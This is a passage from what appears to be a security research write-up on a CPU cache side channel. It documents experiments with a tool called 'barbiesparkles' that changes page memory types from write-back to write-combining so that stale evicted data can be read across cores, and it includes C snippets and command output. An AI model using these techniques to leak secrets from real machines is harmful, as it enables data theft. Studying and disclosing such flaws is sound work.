text
stringlengths
0
1.99k
result targetsrc val: 0x44444444, access time: 495
result targetsrc val: 0x0, access time: 495
result targetsrc val: 0x43434343, access time: 585
result targetsrc val: 0x0, access time: 540
result targetsrc val: 0x33333333, access time: 495
result targetsrc val: 0x43434343, access time: 495
result targetsrc val: 0x43434343, access time: 540
result targetsrc val: 0x0, access time: 495
(...)
---------------------------------------------------------------------------
Huh, so our buffer is shared across all cores? Nice! We also observe that
we still have some hits for the value we store in the targetsrc
(0x33333333), even if it is a lower hit rate than the secret value. To
force the architectural value to be committed, we flush the cache before we
change the memory type:
---------------------------------------------------------------------------
// Populate the cache with cache lines from a WB page by performing normal
loads
memset(buf_targetsrc, 0x33);
// Load a secret in a buffer by performing normal loads
memset(buf_secret, secret_val);
// Evict the cache
flush(buf_targetsrc);
// Change the memory type of the page to WC
entry.pte = ptedit_apply_mt(entry.pte, wc_mt);
// Read from memory corresponding to an entry in the cache.
targetsrc_val = *(volatile uint32_t*) buf_targetsrc;
---------------------------------------------------------------------------
With that, we now have actual 100% hits on the architectural (0x33) value. This
seems deterministic enough to me.
---------------------------------------------------------------------------
$ ./barbiesparkles -c 2 -s 42424242 -n 512 -I 100 | grep result
(...)
result targetsrc val: 0x33333333, access time: 540
result targetsrc val: 0x33333333, access time: 495
result targetsrc val: 0x33333333, access time: 540
result targetsrc val: 0x33333333, access time: 495
result targetsrc val: 0x33333333, access time: 540
result targetsrc val: 0x33333333, access time: 540
result targetsrc val: 0x33333333, access time: 585
result targetsrc val: 0x33333333, access time: 585
result targetsrc val: 0x33333333, access time: 540
(...)
---------------------------------------------------------------------------
But remember that we were reading the data AFTER changing the memory type
to WC, which assumes that the data shouldn't be present in the cache
anymore. Just to be sure that we are seeing the current architectural value
of targetsrc, we overwrite it with 0x11 and re-run the tests:
---------------------------------------------------------------------------
// Populate the cache with cache lines from a WB page by performing normal
loads
memset(buf_targetsrc, 0x33);
// Load a secret in a buffer by performing normal loads
memset(buf_secret, secret_val);
// Evict the cache
flush(buf_targetsrc);
// Overwrite buffer with a dummy value
memset(buf_targetsrc, 0x11);
// Change the memory type of the page to WC
entry.pte = ptedit_apply_mt(entry.pte, wc_mt);
// Read from memory corresponding to an entry in the cache.
targetsrc_val = *(volatile uint32_t*) buf_targetsrc;
---------------------------------------------------------------------------
... and nope. What we are seeing isn't the architectural value - it is the
evicted stale value:
---------------------------------------------------------------------------
$ ./barbiesparkles -c 10 -s 42424242 -n 512 -I 100 | grep 0x33333333 | wc -l
100
---------------------------------------------------------------------------
And again, 100% of the hits. Even if we flush the targetsrc buffer (with
value 0x33) and overwrite it with the new value (0x11) we still get 100%
hits on the value 0x33. We have in place stale data!
To confirm that we are seeing only evicted data, we flush it right after
overwriting it with 0x11 or after changing the memory type (it doesn't seem
to matter at all) and re-run the test:
---------------------------------------------------------------------------
$ ./barbiesparkles -c 10 -s 42424242 -n 512 -I 100 | grep 0x11111111 | wc -l
100
---------------------------------------------------------------------------
--[ 2.5 - Finding The Sparkles Source
We started the obvious tests, for example, we mapped the secret buffer